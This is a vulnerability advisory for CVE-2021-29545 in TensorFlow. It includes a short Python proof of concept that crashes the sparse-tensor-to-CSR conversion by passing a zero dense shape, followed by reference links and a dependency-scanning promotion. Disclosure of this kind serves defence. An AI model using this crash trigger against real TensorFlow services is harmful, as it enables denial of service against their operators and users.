CVE-2021-29545: Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
(updated )
An attacker can trigger a denial of service via a CHECK-fail in converting sparse tensors to CSR Sparse matrices:
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]
st = tf.SparseTensor(indices_array, value_array, dense_shape)
values_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
st.indices, st.values, st.dense_shape)
References
- github.com/advisories/GHSA-hmg3-c7xj-6qwm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-473.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-671.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-182.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hmg3-c7xj-6qwm
- nvd.nist.gov/vuln/detail/CVE-2021-29545
Code Behaviors & Features
Detect and mitigate CVE-2021-29545 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →